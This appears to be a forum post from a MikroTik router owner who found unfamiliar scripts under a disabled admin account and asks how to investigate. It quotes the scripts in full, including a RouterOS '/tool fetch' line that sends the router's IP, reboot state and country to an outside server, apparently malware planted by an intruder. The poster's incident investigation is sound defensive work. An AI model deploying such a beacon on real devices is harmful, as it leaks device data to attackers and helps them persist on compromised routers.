Scripts were owned by admin (disabled of course)
The first one capture a list of the files
ptty-r
Code: Select all
:delay 100s
/file print file=rmip.txt
/file set rmip.txt contents="yes"
/system script run ptty
ptty
Code: Select all
:delay 100s
:global myip [/file get mip.txt contents]
:global rmyip [/file get rmip.txt contents]
:global ctryip [/file get ctryip.txt contents]
/tool fetch url="http://createpage.myserv.ignorelist.com/.../metaR-srv.php\?ip=$myip&reboot=$rmyip&ctry=$ctryip" mode=http keep-result=no
Is there other investigation I can do? To figure out if anything has been changed
Thanks